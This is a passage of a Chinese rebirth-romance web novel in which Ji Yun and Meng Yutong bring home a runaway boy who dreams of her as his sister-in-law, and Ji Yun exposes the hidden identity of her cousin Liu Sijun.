此时虽是初夏,天气和暖,但郊外深夜,露重风寒,凉意侵人。 纪昀沉默地脱下自己的外袍,原本想直接披在纪明身上,但目光在纪明抗拒的后背和孟玉桐之间流转了一下,还是将衣服递到了孟玉桐手里。 孟玉桐自然明白他的用意,接过还带着他体温的外袍,仔细地裹在了纪明身上。 人终于找到了,纪昀悬了半夜的心总算落回实处。 而一旦放松下来,敏锐的思绪便开始重新运转,方才纪明那声石破天惊的“嫂嫂”,以及孟玉桐为何能精准地找到西郊庆乐园这个地点?毕竟家里从未有人带纪明来过此处。 种种疑点浮上心头。 他心中的疑惑难解,开始重视起纪明此前所说的那个梦来。 他说在梦中,孟玉桐嫁给了他,那么这个地方有没有可能就是纪明梦境之中和孟玉桐一起来过的地方。 而孟玉桐也知道此地,岂非意味着……她也拥有同样的梦境记忆? 这个念头倏然划过脑海,如拨云见日一般。瞬时间,纪昀脑中盘桓许久的迷雾渐渐散开,许多之前百思不得其解的细节,在此刻骤然串联起来。 从母亲寿宴开始,孟玉桐对他那种莫名的、带着疏离甚至些许敌意的态度;到后来相处中,她时而流露出的复杂神情,待他与其他人的微妙不同。 他一直搞不明白,也曾直接问过缘由,她却并没有告诉他实情。 如果,这一切都是因为一段共同的、他却毫无所知的“梦境”记忆呢?还有母亲近来反常的转变和那些意味深长的话语…… 母亲是否也……? 他们三人,或许共享了一段关于“另一段人生”的记忆。 在那段人生里,他与孟玉桐并未退婚,而是结为了夫妻。 然而,从孟玉桐的态度和纪明梦境中的依赖来看,那段婚姻的结局,似乎并不美满,甚至……可能充满了遗憾与伤痛。 而造成这不美满的根源,极有可能,在于他。 会不会是……他曾辜负、伤害了孟玉桐? 这样的想法闯入脑海时,他的身子控制不住的晃了晃,心中也随之泛起一阵细密而酸涩的疼痛。 脑子里明明没有什么关于这些的记忆,但总有一股深沉的,无可名状的悲恸不受控制地漫涌上来。让他心伤神动,难以自持。 第72章 第72章不想错过,也不能再放手…… “纪昀,他好像睡着了。” 孟玉桐的声音将纪昀从纷乱的思绪中唤回。 他转过头,看向她怀中的人。 纪明蜷缩在那里,小小的身子瘦弱单薄,此刻却睡得正沉。 他的衣衫在一路逃跑中被蹭得凌乱不堪,上头沾满了草屑,脸上也没有好到哪里去,还带着未干的泪痕,看起来可怜又让人心疼。 孟玉桐望见他的视线,轻声建议道:“纪昀,夜色深重,露寒侵骨,让孩子在此睡着定会着凉。不如你先骑马带他回城安置。” 纪昀几乎是不假思索地否决:“不可,荒郊野外,岂能留你一人在此。” 话音未落,他已俯下身,动作轻柔地从孟玉桐怀中接过熟睡的纪明,用一只手臂将其稳稳托住,抱回怀中。 另一只手则顺势握住孟玉桐的手腕,微微用力,将她从地上拉了起来。 “你们二人同乘一骑,”他语气平静,很快决断道:“你们上马,我牵马步行,送你们回去。” 从此处步行回照隅堂可是一段不短的距离。 孟玉桐略一迟疑,可想了想眼下的确没有其他更稳妥的办法。 毕竟总不能三个人乘一匹马吧?不仅危险,也着实勉强。 想到这些,她只得点头应下。 两人行至马旁。纪昀先将纪明小心地揽在肩头,一只手稳稳地抱着纪明。空出的手则扶住孟玉桐的胳膊,助她翻身上马。 待她坐定,他才将臂弯里的纪明小心递过去。 过程中,纪明不安地扭动了一下,但终究抵不过沉沉倦意,在孟玉桐怀里寻了个舒服的姿势,又继续睡去。 见二人都已安坐,纪昀这才转身,握紧缰绳,牵引着马匹,踏着清冷月色,一步步朝来路走去。 孟玉桐坐在马背上,望着前方男子挺拔而略显孤寂的背影。 月光将他的衣袍染上一层淡银色的光晕,他步履沉稳,自有目标方向,仿佛世间任何纷扰都无法动摇其分毫。 她想起自己重生以来,曾笃定心意要与他划清界限,老死不相往来。可命运弄人,两人总是被各种缘由牵扯到一处。 时至今日,医馆接连的忙碌与眼前的纷繁杂事未曾停过,此间种种,让她莫名生出几分无力计较的疲惫感。 她甚至有些懒得在纪昀面前多费心思掩藏什么了。 就在这时,纪昀放缓了步子,偏过头看向马背上的孟玉桐。 萦绕在纪昀心头一晚的问题,纪昀终究还是将它问出了口:“你如何得知纪明会在此地?纪家从未有人带他来过于此。” 孟玉桐眼波微动,随口敷衍道:“做梦梦到的。” 这本是实话,可她语气太过随意轻飘,反倒像是不愿多言的托辞。 说完这句,她一贯挺直孤拔的脊背似乎微松了些,便更有几分她身上罕见的任达不拘的意味。 纪昀闻言,深深的眸色在月色下显得愈发深邃难测,里头流转过一丝极快的思量,随即又归于一片沉静的冷冽。 他心知肚明,她这是又一次选择了回避。 然而奇怪的是,那个确切的答案,此刻于他而言,似乎已不再如先前那般重要。 他忽然意识到,自己长久以来似乎都沉溺于某种无形的桎梏之中,将眼前的日子过得一团混沌。 近来却渐渐明了,与其执着于探问虚无缥缈的缘由,不如真切地握住当下所能触及的一切。 他微微侧首,藉着朦胧月色,望向马背上那一大一小两个依偎的身影。 一股难以言喻的暖意悄然漫过心田,带着些许酸涩,更多的却是一种前所未有的坚定。 有些东西,他不想错过,也不能再放手。 从西郊庆乐园回城,若策马疾驰,不过半个时辰。 但像他这般信步徐行,至多不过一个半时辰。可不知怎的,这段路,他牵着马,足足走了近两个时辰之久。 待回到照隅堂门前,东方已隐隐透出些许熹微,时辰已近寅时。 纪昀自然地伸出手,拖着孟玉桐的手肘扶她下马。 在他的搀扶下,孟玉桐小心地从马背上翻身下来。她的动作很轻很缓,并不想吵醒还在熟睡的纪明。 过程中,见纪明安静趴在马背上睡得正香,看着并未有什么异样,她这才放心。 可不知为何等她站定之后,纪明还是不安的动了动身子,揉着眼睛醒了过来 他一睁眼,见孟玉桐已下了马且似乎正要离开,立刻扁了嘴,伸出小手急切地朝她的方向抓去,带着哭腔喊道:“嫂嫂!你别走!” 孟玉桐步子微顿,无奈地看了他一眼,终究败给这孩子可怜兮兮的模样,于是对纪昀道:“天色将明,来回折腾反而不好。不如就让他暂且留在我这里歇息,待天亮后你再来接他。” 纪明一听,立刻点头如捣蒜,挣扎着要从马背上下来。 纪昀顺势将他抱下。小家伙脚一沾地,便甩开兄长的手,一把紧紧抱住孟玉桐的腿,生怕被分开。 “既然如此,你先回去吧。”孟玉桐牵起纪明的手,转头对纪昀说道。 纪明也扭过头,冲着纪昀不满地“哼”了一声,气鼓鼓的模样。 纪昀面上不动声色,只微微颔首,看似从容应下,然而那垂在身侧的手指却几不可察地蜷缩了一下,眼底深处掠过一丝深色。 “那……你们早些安歇。”他开口,声音带着几分明显的沙哑与疲惫,听起来像是劳累过度。 还没等孟玉桐细究,只见纪昀身形微晃,竟向前踉跄一步,直直朝着她和纪明的方向倒了下来。 事出突然,孟玉桐下意识地伸手接住他。 纪昀高大的身躯顿时有大半重量压在了她的肩上。 纪明被这突如其来的状况挤到一边,本想发作,但见兄长似乎晕了过去,小脸上顿时写满了惊慌与担忧。 矛盾片刻,还是理智占了上风,他小小的身子赶紧抵在纪昀腰侧,努力帮孟玉桐分担一些重量。 孟玉桐这才空出手,急忙探向纪昀的额头。掌心传来的温度确实有些高,似是染了风寒。 可依纪昀的体格,区区风寒应不至于此…… 此刻无暇细究,她只好与纪明一同,费力地x搀扶着看似昏迷的纪昀进入医馆。 馆内众人尚在沉睡,孟玉桐不欲惊扰,便与纪明两人艰难地将纪昀挪向他先前住过的二楼房间。所幸过程虽有些吃力,倒也勉强将人扶了上来。 “我去煎副风寒药,你在此陪着你兄长。”孟玉桐对纪明嘱咐道。 纪明却摇摇头,尽管满脸倦容,语气却异常坚持:“我跟你一起去。” 孟玉桐见状也不再多说,应下了他的要求。 此刻的小院万籁俱寂,天际刚泛起鱼肚白,空气中弥漫着清冽的露水气息。 两人一前一后进了药房,孟玉桐熟练地引燃小火炉,架上药罐,注入清水,而后拈起药材,利落地投入罐中。 纪明像条小尾巴似的紧跟在她身后,两人在药炉前坐下,一大一小两道身影被拉长,映在墙壁上。 “嫂嫂,”纪明仰起小脸,一双乌溜溜的眼睛不安地转动着,“我兄长他……他这是怎么了?” 他声音怯怯的,“是染了很重的风寒吗?”说完,他又愧疚地低下头,声音越来越小,“是不是都怪我……他定是为了寻我才……” 可随即,他似乎又想起自己所受的委屈,猛地抬起头,带着几分倔强自我肯定道:“可、可不管怎样,是他先骗我的!他说话不算话,就是不对!” 孟玉桐被他这又愧疚又嘴硬的模样逗得唇角微弯,伸手轻轻捏了捏他软乎乎的脸颊,宽慰道:“莫要担心。他只是一时急火攻心,加之劳累,这才有些发热晕眩。待服下这剂药,好生歇息一番便无大碍了。” 听完她的解释,纪明虽然依旧撇着嘴,一副傲娇模样,但紧绷的小肩膀明显松弛下来,悄悄松了口气。 “对了,”药罐里的药汁开始咕嘟咕嘟地冒着泡,苦涩的药香在静谧的药房内缓缓弥漫开来。 孟玉桐偏过头,目光温和却带着一丝探寻,落在纪明脸上,“听你兄长提及,你前几日做了个梦,醒来后便闹着要见我?可否同我说说,梦见了什么?又为何……唤我‘嫂嫂’?” 纪明闻言,小手不自觉地绞紧了衣角,眼神有些闪烁,显露出明显的不安。 “我梦见……梦见你穿着大红嫁衣,嫁给了我兄长,成了我的嫂嫂。”纪明小声开口,眼神有些恍惚,仿佛又沉浸到了那个仿佛真实发生的梦境里。 “开头可好了,家里热热闹闹的,你对我很好,你给我做很多好吃的,陪我玩儿……我很喜欢你。” 他的声音带上了哽咽,“可最后……最后我梦见你病得很重,躺在床上,怎么叫都叫不醒了……那个梦太真了,我醒了之后心里好难受,我……我就想立刻见到你,只是想看你一眼就好……我去求兄长,可他……他骗我……” 纪明越说越委屈,用自己脏兮兮的衣袖在脸上胡乱擦了一把,眼泪却越擦越多,带着浓重的哭腔说道:“嫂嫂,你是不是也觉得我在无理取闹?可我真的就是做了这样的梦!而且我从第一次见你,就觉得特别特别亲切,就好像……我们很久很久以前就认识一样。” 孟玉桐心中酸涩,伸出手,用干净的帕子轻柔地替他擦拭脸上的泪痕和污渍,声音温柔:“明儿,梦只是梦,它就像是夜里的影子一样,看着再真切,也是假的,天亮就散了。你看,我现在不是好端端地在你面前吗?莫要再为梦里的事难过了。” 她仔细擦干净他的小脸,看着他依旧泛红的眼眶,语气转为认真,与他约法三章:“既然你觉得同我亲近,那我说的话,你听是不听?” “我听!我听嫂嫂的话!”纪明立刻点头如捣蒜。 “那好,以后万不能再像今日这般任性妄为,做出让家人担惊受怕的傻事。可能做到?”孟玉桐望着纪明,目光平和神态却十分认真。 “嫂嫂,我能做到!”纪明立刻应声。 孟玉桐满意地点头,又道:“还有,以后不准再叫我‘嫂嫂’,这件事你能不能做到?” 纪明下意识点头,但点到一半忽然猛地顿住,他扁了扁嘴,缓缓摇了摇头,带着几分执拗小声辩驳:“可……可你就是我嫂嫂呀。” 孟玉桐无奈地揉了揉他的发顶,耐心解释道:“明儿,你也说了,那是梦里的事。梦里的东西,怎可与现实混为一谈呢? “就好比你梦见自己变成了一只小鸟,飞到了天上,可醒来后,你还是纪明,并没有长出翅膀来,对不对?梦里的称呼,自然也不能带到梦外来。” 纪明听完,若有所思地点点头,自说自话:“还是不要变成鸟了,我兄长最怕鸟了。他一见到鸽子,就浑身僵硬,直冒冷汗呢。” “嗯……这也不是重点,”孟玉桐似有些无奈的叹了口气,斩钉截铁道:“总之,以后不可以这样叫我。否则我可就要生气了。” 纪明抬起头,并未被孟玉桐的‘恐吓’吓到,眼珠一转,开始讨价还价:“那……那只有我们两个人在的时候,我这么喊你,可不可以?” 说完,他生怕孟玉桐不答应,连忙补充保证,“要是有别人在,我肯定不这么喊!我发誓!” 他眨巴着那双乌黑滚圆的大眼睛,长长的睫毛上还挂着未干的泪珠,像只生怕被抛弃的小狗,满是乞求地望着孟玉桐。 孟玉桐被他这可怜又可爱的模样弄得心下一软,终是轻轻点了点头:“……只你我二人时,便随你吧。” 纪明闻言,脸上瞬间阴转晴,开心地一把抱住孟玉桐的胳膊,将自己的小凳子拉得离她更近了些,几乎要贴在她身上。 “嫂嫂,”他像是鼓足了勇气,小声问道,“那你……你以后还会嫁给我兄长吗?” 孟玉桐先是一愣,随即又缓缓摇了摇头,她静静盯着眼前的药罐,没再说话。 纪明见状,小脑袋立刻耷拉下去,显得十分失落。 但没过一会儿,他似是想到了什么,又抬起头,一双眼睛亮晶晶地看向孟玉桐,他摇了摇她的胳膊,兴奋道:“那我……我能不能就做你的弟弟呢?你把我从家里带走,我……我改姓孟,就叫孟明!以后就在你的医馆里给你帮忙!” 他看向眼前咕嘟冒泡的药罐,眼睛一亮,指着它说:“我可以帮你煎药!还能帮你扫地、擦桌子!我、我还可以帮你赶走那些不听话的病人!我很有力气的!” 孟玉桐被他这番话逗得莞尔,却还是温柔地摇了摇头:“明儿,你是纪家的孩子,你的父亲母亲和兄长都很爱你。不过,你若喜欢这里,以后可以常来医馆玩儿,好不好?” 她耐心地引导,以他能接受的方式说道,“每个人都有自己该在的地方,在我的医馆做客,和离开家是两回事,明白吗?” 纪明似懂非懂,但看着孟玉桐温柔却认真的眼神,还是点了点头:“嗯……那我以后常来找你玩儿。” 说话间,药已煎好。孟玉桐将药汁滤出,端着药碗和纪明一同回到纪昀的房间。 纪昀仍在昏睡中。孟玉桐扶他起来,和纪明一起小心地将汤药喂他服下。 处理完这些,孟玉桐收拾好药碗,对纪明柔声道:“折腾了一夜,你也累坏了,就在这榻边歇息吧,也好陪着你兄长。” 纪明乖巧地点点头,爬上了榻边的一张矮榻。 窗外,天色已蒙蒙发亮,晨曦微露。孟玉桐为他掖好被角,这才拖着疲惫的身子回到自己房中,囫囵歇息片刻。 第73章 第73章“你和孟姐姐……还有可…… 孟玉桐离去后,纪明从小榻上爬起来,盯着一旁兄长沉睡的面容,心头那股闷气仍未消散。 可眼见兄长此刻病恹恹的模样,他终究还是心软了,一边伸手将纪昀身上的锦被往上掖了掖,一边忍不住小声嘟囔:“真是的,怎么就摊上你这么个兄长……” 他在马背上睡了一路,此刻精神反倒好了起来,毫无睡意。 于是便在房间里好奇地东摸摸、西看看,一会儿摆弄案上的笔砚,一会儿又去拨弄窗边的竹帘,难免弄出些窸窣声响。 不知过了多久,或许是汤药起了效验,榻上之人眉头微蹙,翻了个身。 纪昀缓缓睁开眼,视线还有些模糊,却瞧见纪明正踮着脚,试图去够书架顶层的一个彩绘漆盒。 “纪明。”他声音沙哑地唤了一声。 纪明闻声立刻回头,小跑到榻边,关切地问:“兄长,你醒啦?身上可好些了?” 话音刚落,他忽然意识到自己这般急切似乎有损自己的“威严”,连忙后退一步,x故意板起小脸,语气嫌弃道:“你也真会给人添麻烦!孟姐姐回来连夜为你煎药,守了许久,方才才歇下。” 纪昀疲惫地捏了捏眉心,并未在意他的别扭,只问道:“我昏睡之时,你与她可曾说了些什么?” 纪明撅起嘴,扭过头:“才不告诉你!” 纪昀沉默片刻,低声道:“未曾依言带你来寻她,是兄长食言。此事,是我之过,我向你赔不是。” 纪明何曾听过纪昀如此郑重其事地向自己道歉? 他惊讶地睁大了眼睛,心头那点委屈顿时散了大半,几乎就要立刻原谅对方。 可转念一想,若这般轻易揭过,岂非显得自己太好说话?日后纪昀岂非更不将他的诉求放在心上? 于是他双手抱胸,故作老成地哼了一声,搬出不知从哪儿听来的歪理:“若是赔个不是便能了事,还要衙门里的官差明断是非作甚?” 纪昀闻言,眼底掠过一丝极淡的无奈,他并未斥责他童言无忌,沉吟道:“为表诚意,我可应你一事,以作补偿。” 纪明眨眨眼,这个提议倒是颇有诱惑。比如……明日告假不去学堂?或是准许他偷偷去买他最爱吃的蜜饯果子?再不然,准他晚睡半个时辰,多看一会儿闲书? 他心下盘算一番,这才勉为其难地点点头,端着架子道:“看在你尚存几分诚意的份上,我便‘大人’不计‘小人’过,不同你计较了。可若再有下回,定不轻饶!” 纪昀见他这般模样,唇角微不可察地弯了一下:“现下可能告知我,你与她说了些什么?” 纪明这才凑近两步,一屁股坐在床沿,道:“也没说什么,就是同孟姐姐讲了我前两日做的那个怪梦嘛。” 纪昀心中虽早有预料,但亲耳听闻,神色仍是几不可察地凝滞了一瞬,那双总是沉静如水的眼眸深处,似有暗流悄然涌动。 他收敛心神,状似随意地问道:“你与她言说这些时,她……是何反应?” 纪明便一五一十地将孟玉桐如何安抚他、如何解释梦境与现实之别的情形说了出来。 纪昀听罢,心中霎时波澜骤起,汹涌难平。 如此说来,孟玉桐对于纪明梦境里的内容并不意外。 他此前的猜测很可能是真的。 孟玉桐大概也做过一样的梦。 或许那不只是梦…… 不可思议却又唯一合理。 这认知带来更深的震撼与悸动,让他久久无法平息。 纪明眼中,纪昀听完他的话后,便如同老僧入定般怔在原地,眼神空茫地望着虚空某处。 这失魂落魄的模样,与他素日里那个冷静自持、仿佛万事皆在掌握的兄长判若两人。 纪明伸手扯了扯纪昀的衣袖:“兄长?” “兄长,”纪明仰着小脸,语气充满了矛盾与担忧,“你和孟姐姐……还有可能再成亲吗?” 他既渴望孟玉桐能名正言顺地长久留在身边,成为一家人,又无法摆脱梦中那场以悲剧收场的婚姻带来的恐惧。 他害怕,倘若梦境成真,那个结局是否会重现。 纪明皱着小脸,觉得这问题实在不是他该操心的,索性耍了个小聪明,把这烫手山芋直接抛给了纪昀。 他记得清清楚楚,当初纪昀与孟玉桐退婚时,纪昀的反应平淡得近乎冷漠,仿佛浑不在意。 可不知从何时起,他隐约觉出些不同——尤其是昨夜至今,他们二人之间流转的那种说不清道不明的氛围,与他记忆中大相径庭。 具体哪里变了,他那小脑袋瓜想不明白,只觉得兄长待孟姐姐,再不是从前那般疏离模样。 纪昀此刻心绪正乱如麻,沉浸在那个骇人的猜想中难以自拔。为何母亲、弟弟,乃至玉桐,似乎都共享着一段他毫无所知的记忆?唯独他被排除在外? 他迫切地想知晓,在那段被遗忘的过往里,他与玉桐之间,究竟发生了什么? 纪明这突如其来的发问,让他陡然回神,却搅得他方寸大乱。 他与孟玉桐,还有可能再续前缘吗? 纪昀眸中情绪几番流转,惊诧、茫然、乃至一丝微不可察的希冀,最终都归于一片深不见底的沉寂。 他抬眼看向纪明,几乎生硬地转开了话头:“折腾一夜,你不累么?” 纪明立刻摇头:“我不累!” 纪昀却已起身,不由分说地将纪明按回床上,语气不容置疑:“胡闹,怎会不累?今日好生歇息,学堂那边,我自会替你告假。” 原本还想挣扎的纪明,听到“告假”二字,动作顿时僵住。 不用上学?那……累一点似乎也无妨。 他立刻乖乖躺平,甚至夸张地闭上眼睛,嘴里哼哼唧唧:“累……好累……我要睡觉……今日不能去学堂了,说不定明日也去不成呢……” 一边说着,一边把被子拉过头顶,假装入睡。 纪昀瞥了他一眼,未再多言,略整了整微皱的衣衫和略显凌乱的发丝,便提步出了房门。 此时天光已大亮,照隅堂即将开门迎诊。院中却好似比平日热闹些,几人围在石桌旁,不知在看什么。 孟玉桐站在中央,刘思钧则兴致勃勃地在她身侧讲解着,隐约可见她眉眼间漾开浅浅笑意。 只见刘思钧弯腰,咔哒一声打开了桌上一个笼子的锁扣。 恰在此时,纪昀走近。 只听“呼啦”一阵扑翅声,一道雪白的影子猛地从笼中窜出。 那鸽子被关得久了,乍获自由,便有些忘形,扑棱着翅膀在院中横冲直撞。 围观众人见状,嬉笑着四散避开。那鸽子似受了惊,竟像没头苍蝇般,直直朝着刚走过来的纪昀面门撞来。 纪昀的瞳孔骤然收缩。 视野中被急速放大的,是那双不断扑棱、搅动着空气发出令人心烦意乱声响的翅膀,还有那双小而锐利、泛着红光的眼睛。 白色的身影挟着一股劲风,瞬间充斥了他全部的视线,四周空间都仿若被忽然压缩,只余逼仄与压迫。 他一动不动地站在那处,连避让也不会了。 “回来!莫冲撞了人!”刘思钧急忙吹了声口哨。 那鸽子在距纪昀脸颊仅寸许之地猛地刹住,一个盘旋,乖巧地落回了刘思钧肩上。 “纪兄,没吓着你吧?这扁毛畜生是从秦州飞来的,性子随我,莽撞得很,不太温驯。” 刘思钧有些不好意思地一笑,抬手轻点着鸽子的脑袋数落,“你说你腿伤未愈,我好心让你在笼中将养,你倒好,出来就瞎闯祸!” 孟玉桐敏锐地察觉到纪昀神色有异,他的脸色较平日更显苍白几分,唇色也淡了些。 她很快想到不久之前与纪明煎药时,曾听他说过,纪昀怕鸽子,于是便对刘思钧道:“刘大哥,它既伤了腿,还是好生关在笼里休养为宜,免得伤势加重。” “桐桐说得是,”刘思钧从善如流,一把抓住鸽子,利落地塞回笼中锁好,“本就是想借你这清净院子给它养一养,请你帮它包扎一下伤处。” 二人你来我往几句话的功夫,纪昀面上神色几番转变。直至恢复成与平日相较无太大异样的状态,他才提步往前,朝着孟玉桐的方向走去。 然若细看,便能发现他垂在身侧的手指尖正微微蜷缩,带着一丝轻颤。他的目光亦有意识地避开那石桌和鸟笼方向,显出几分不自然。 他看向孟玉桐,声音较平日温和些许:“你昨夜劳碌整晚,今日看诊之事便交由我,你先回房好生歇息片刻。” 孟玉桐抬眸看他,见他面色虽仍带着一丝倦怠的苍白,但较之昨夜昏迷时的情形已是好了太多,眼神也恢复了精神。心中料想他大概是已恢复的差不多了。 不过尽管如此,她还是问了一句:“你的身子可好些了?” 纪昀见她出言关心,眼底掠过一抹极淡笑意。他不动声色地向前微踏半步,拉近了两人之间的距离,声音低沉而平稳:“服过你亲手煎煮的汤药,已无大碍。不必过于挂怀我,反倒让你受累,我心难安。” 院内众人此时皆面露疑惑。 孟玉桐一早尚未得空解释昨夜之事,他们并不知纪明走失又被寻回。此刻见纪昀从楼上下来,又听得这般言语,不免面面相觑,心中惊疑:纪医官是何时来的?什么叫“昨夜劳碌整晚”?这两人昨夜一同做了什么? 孟玉桐被众人探究的目光看得有些不自在,便简要将昨夜寻找纪明之事说了一遍。 众人听罢,这才恍然,纷纷道:“原是这般大事!姑娘怎不唤我们一同帮手?也太见外了!” 刘思钧从一旁凑近,笑嘻x嘻地伸出胳膊,一手揽住孟玉桐的肩,一手便要搭上纪昀的肩,熟稔道:“寻人这等事,合该找我呀!这深更半夜的,你们两个人,若是遇上什么危险可如何是好?” 纪昀眼帘微垂,语气平淡无波,却带着一丝疏离:“刘公子古道热肠,纪某心领。只是昨夜情况紧急,未免惊扰众人清梦,故而未敢劳动。” 他说着,面不改色地抬手,看似随意地格开刘思钧欲搭在自己肩上的手,顺势却又向前半步,恰好隔在了刘思钧与孟玉桐之间。 仿佛只是自然转身要与刘思钧说话,无形中却让刘思钧另一只搭在孟玉桐肩上的手不得不滑落下来。 纪昀提出代为看诊,孟玉桐并未推辞。昨夜奔波,她确实感到疲惫。于是将今日需留意的事项简单同纪昀交代后,便转身回房休息。 临走前,她特意提起石桌上那只鸽笼,仔细为鸽子的伤腿重新包扎妥当后,连笼子一同提到了自己屋前的檐角下挂好。 她那屋子本就僻静,将鸽子安置于此,既不显眼,也不会惊扰到病患。 照隅堂内,纪昀接替了孟玉桐的位置,刘思钧如常在旁协助,二人开始为陆续上门的病患诊治。 今日的病人较昨日少些,医馆刚开,尚未到繁忙时辰,众人处理起来倒也从容不迫。 看诊间隙,纪昀似是随意地开口,与身旁的刘思钧攀谈起来。他目光仍落在面前的脉枕上,语气听起来如同闲话家常:“听闻刘公子是来临安专为售卖玉石器物,如今货品既已脱手,不知打算何时返程?” 刘思钧朗声一笑:“东西是卖完了不假,不过我瞧着这临安城山好水好,吃食更是合胃口,还没待够呢,不急回去!” 他此行来临安,明面上是为家中生意,实则另有一桩要紧事——他是来寻人的。 如今人已寻到,且近在眼前,他更是舍不得就此离去。 他的视线不经意般扫过大堂通往后院的方向,脸上惯常的洒脱中罕见地掺入一丝复杂。 想到孟玉桐一个女子,独自支撑这偌大医馆,正值用人之际,他岂能袖手旁观?总得等医馆诸事步入正轨,再作打算。 纪昀将他瞬息变化的神色尽收眼底,若有所思地垂眸,复又抬眼看向刘思钧,目光看似平静,却带有几分锐利:“听闻在外行商之人,为便宜行事,多用化名,不知刘公子是否亦如此?” 刘思钧神色微凝,并未立刻作答。 纪昀心下明了,也不追问,只淡淡道:“‘刘’字与‘柳’字,读音倒是相近。” 他语气一派云淡风轻,仿佛只是随口一提。 这话听在刘思钧耳中,却别有意味,他难掩惊诧地看向纪昀:“你……你是如何得知的?你还知道多少?” 第74章 第74章“你也知道是订‘过’亲…… 刘思钧从小跟着父亲在外闯荡,锻炼多年,到了如今自己终于可独立撑起一小支人马,像模像样地办事情了。 可他骨子里却不是个生意人。 他两句问话说出口,才惊觉自己是彻底漏了馅,有些懊恼地闭上了眼。 纪昀将他的反应一一看在眼里,淡淡颔首,眸光沉静如水,“你是秦州‘啸云马帮’帮主柳擎的独子,柳思钧。玉桐的生母柳氏,乃是你的姑母,多年前自秦州远嫁临安。柳氏嫁入孟家二载后,随孟老爷赴西南采买药材,期间因故与柳家有了龃龉,从此断了音讯。” 柳思钧越听越是心惊,背后竟沁出些许凉意。这些家族旧事,尤其是姑母当年决绝地与家中断绝往来之事,极为隐秘,纪昀如何得知得这般清楚? 在他记忆深处,姑母温柔娴静,自小便对他极尽疼爱。父亲常年奔波在外,母亲体弱需静养,多是姑母悉心照料他的起居。 他自幼便喜欢黏着这位性情温和的姑母。 记得姑母出嫁前,他赖在她闺房中,哭闹着不肯离去。父亲进来强行将他抱开,他挣扎间,不慎将妆台上姑母极为珍爱的一件玉器嫁妆扫落在地。 只听一声响,那原本完美无瑕的玉葫芦上,赫然多了一道细小的裂痕。 他当时内疚得无以复加,姑母却毫无责备之意,反而将他搂入怀中,柔声安慰道:“莫哭,姑母瞧着这道痕迹反倒觉得亲切,让它成了独一无二的物件。日后每每见它,便会想起思钧了。” 后来他与孟玉桐在和乐楼初见时,孟玉桐正拿着那块玉葫芦来询问他。 他还记得那时楼内灯火明亮,点点流转于玉身,恰好映照在那道细微的裂痕上,折射出一抹柔和的光晕。 他抬起头仔细端详着孟玉桐,他一眼就知道,眼前这个和姑母一样,拥有着好看的温柔的眼睛的女子,定是他的表妹无疑。 …… 可不知为何,后来姑母却因远嫁而与家族渐渐疏离。 他只记得多年前,父亲收到一封来自临安的密信。 那信上不知写了什么,父亲看完之后勃然大怒。后来那封来自临安的信被送至家中各位族老面前,族中人皆言,从此要与嫁去临安的姑母断绝往来,甚至要将她逐出族谱。 于是柳家与孟家,多年来几乎不再往来。 直至姑母病逝的噩耗传来,父亲悲痛不已,当即带着他日夜兼程赶赴临安,欲将孤苦无依的表妹接回秦州抚养。 他至今仍清晰记得那日。他与父亲一身秦州风尘、粗布衣衫,站在孟府外那条繁华的街道上,与这江南水乡的精致富庶格格不入。 他们透过车窗,看见孟家老夫人带着小小的孟玉桐从铺子里出来,孟玉桐穿着崭新的绸缎衣裳,手里拿着精巧的点心,被仆妇簇拥着,虽神色怯怯,却已然是富贵人家小姐的模样。 父亲久久凝视,最终长长叹了口气,声音沙哑地对他说:“思钧,你看……桐姐儿在这里,有锦绣绫罗,有诗书教养,孟家能给她我们给不了的……我们整日奔波在外,又能有多少时日陪她?带她回秦州那风沙之地,是爱她,还是误她?” 最终,父亲放弃了带孟玉桐离开的念头,只恳请孟老夫人允准,保持书信往来,知晓孟玉桐平安长大即可。 是以,柳家虽远在秦州,对孟玉桐的消息却一直知晓。 今年本是她与纪家公子婚期将至之年,他这才借着行商之名来临安,本想亲眼见表妹风光出嫁后便安心返回。 岂料婚约生变,她竟自立门户开起了医馆。他放心不下,便决定留下相助,待医馆一切稳妥后再作打算。 这些隐秘心事,他连对玉桐都未曾明言,纪昀是如何探查得知的? 与纪昀相识这些时日,柳思钧头一次觉得,这位看似光风霁月、温润如玉的纪医官,其实心思缜密、手段深沉,远非表面那般简单,宛如静水深流,莫测其底。 柳思钧眉头紧锁,神色间染上明显的不悦:“你暗中调查我?” 他行走江湖,用化名本是常事,无可厚非。但纪昀如此不动声色地将他的底细查了个底朝天,令他感到一种被窥探、被算计的不快,浑身不自在。 纪昀面对他的质问,神色未变,只微微抬手示意他稍安勿躁,语气平和:“柳公子请息怒。纪某深知公子性情豪爽,乐于助人,绝无恶意。然,公子忽现于玉桐身侧,为保玉桐周全,免遭小人算计,纪某不得不谨慎行事,略作探查。若有冒犯之处,还望公子体谅纪某这片护佑之心。” “笑话!”柳思钧气极反笑,他双手抱胸,下巴微扬,带着不满,“论交情,我与她是肝胆相照的至交!论亲缘,我是她嫡亲的表兄!我们之间的关系,岂是外人能比?你倒怀疑我居心叵测? “我看你才心思不纯!听闻你是医官院的堂堂院判,怎么,医官院如今这般清闲,让你成日往这小小的照隅堂里跑?我看,你那点心思才叫司马昭之心呢!” 纪昀闻言,并未出言辩驳,只是静静地看了柳思钧一眼。 柳思钧这话说得虽不中听,但……细细想来,好像……也没说错什么地方。 纪昀遂将当年孟清宇欲勾结不明势力购入“蚀骨草”,并企图利用柳家马帮运送禁药,柳氏为保全母族毅然断绝关系、并向孟老夫人告发之事,简单告知柳思钧。 柳思钧听罢,额角青筋微跳,一拳砸在桌上,吓得前头看诊的病人一个瑟缩,他朝向纪昀,怒道:“好个孟清宇!竟敢行此等悖逆之事,累我姑母受此x委屈!” 如此看来,当年从临安寄来的那封信,多半出自姑母之手,定是她一人将此事揽下,故意夸大,送回消息,引得家族中人误会她与孟清宇同流合污,借此断绝来往。 这孟清宇,简直不是个东西! 纪昀抬手虚按,示意他冷静,“往事已矣,柳公子息怒。柳夫人深明大义,令人敬佩。” 柳思钧怒气稍平,却敏锐地察觉到一丝异样,他狐疑地看向纪昀:“奇怪,这等连我都未能尽知的家族秘辛,你又是从何得知?” 纪昀神色淡然,指尖轻轻拂过案上脉枕,唇角勾起一抹极浅、几乎难以察觉的弧度,眼神却如潭水幽幽,带着一种洞悉一切的了然与掌控感。 他语气平稳,听不出丝毫波澜:“我与玉桐,曾是订过亲的人。有些事情对柳公子而言的确隐秘难探,于纪某而言却并非如此。” 柳思钧从鼻子里发出一声极轻蔑的冷哼:“你也知道是订‘过’亲?” 他特意将“过”字咬得极重,尾音拖长,落在纪昀耳中,别有一番阴阳怪气的讥诮意味。 